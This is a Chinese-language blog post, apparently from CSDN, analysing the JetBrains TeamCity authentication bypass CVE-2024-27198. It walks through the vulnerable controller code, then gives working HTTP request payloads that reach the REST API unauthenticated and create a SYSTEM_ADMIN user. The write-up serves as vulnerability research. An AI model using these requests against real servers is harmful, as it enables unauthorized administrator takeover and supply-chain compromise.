CVE-2024-27198 JetBrains TeamCity 身份验证绕过漏洞分析

JetBrainsTeamCity发布新版本修复了两个高危漏洞,包括CVE-2024-27198的身份验证绕过漏洞和CVE-2024-27199的路径遍历漏洞。攻击者可利用这些漏洞绕过认证并执行供应链攻击。漏洞源于web-openapi.jar中的控制器类,攻击者可通过特定URL参数控制执行任意代码。
摘要由CSDN通过智能技术生成
漏洞简介

JetBrains TeamCity 是一款由 JetBrains 公司开发的持续集成和持续交付服务器。它提供了强大的功能和工具,旨在帮助开发团队构建、测试和部署他们的软件项目

JetBrains TeamCity发布新版本修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证,创建管理员账户,完全控制所有TeamCity项目、构建、代理和构件,为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。

Note: The JetBrains release blog for 2023.11.4 appears to display different publication dates based on the time zone of the reader. Some readers see that it was released March 3, while others see March 4. We've modified our language above to note that Rapid7 saw the release blog on March 4, regardless of what time it was released.

参考连接

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED) | Rapid7 Blog

版本下载Other Versions - TeamCity

漏洞分析

漏洞类web-openapi.jar下的

jetbrains.buildServer.controllers.BaseController

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }
            // ...snip...

在这个方法中当处理后返回的modelAndView视图类型不为RedirectView,则会调用updateViewIfRequestHasJspParameter

如:在访问一个需要认证的接口,服务器返回401,重定向用户路径login.html。

但是我们在访问一个不存在的路径,服务器返回404 非Redirect ,这样就可以绕过上面的限制执行到updateViewIfRequestHasJspParameter

跟入updateViewIfRequestHasJspParameter

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {
​
    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

白话文解释一下,modelAndView的不为空 请求的路径不以jsp结尾,isControllerRequestWithViewName将为真

这里我们猜测一下当用户请求一个不存在的资源,服务器统一返回404页面,这个内部的ServletPath 很有可能是404.html,不是jsp结尾 。因此isControllerRequestWithViewName可为真

继续分析getJspFromRequest

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

requests是我们可控的量,因此这里我们可以控制有jsp参数!,是以jsp结尾的! 不包含admin/。最终返回的数据jspFromRequest是jsp=xxx 这是我们可控的量。

jspFromRequest是我们控制的量 ,且我们可以正常进入if语句中,

因此可以调用modelAndView.setViewName(jspFromRequest);实现updateView的操作。

我们可以利用这个机制绕过接口验证,达到调用任意接口的目的

漏洞复现

如下给出payload

GET /xxx?jsp=/app/rest/users/;.jsp HTTP/1.1
Host: 127.0.0.1:8111
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
X-TeamCity-SW-Cache: graphql
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Content-Type: application/json
Accept: application/json
X-TeamCity-Client: Web UI
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8111/admin/admin.html?item=users
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

一共有三点
1,请求xxx 是绕过重定向
2,;.jsp绕过请求后缀是jsp的限制
3,jsp=xxxx 这里就可以填上我们想要访问的接口了

也可以进行一些敏感的操作,如添加用户账号

POST /xxx?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 127.0.0.1:8111
Accept: */*
Content-Type: application/json
Content-Length: 124
Connection: close

{"username": "test6666", "password": "test6666", "email": "", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

  • 9
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值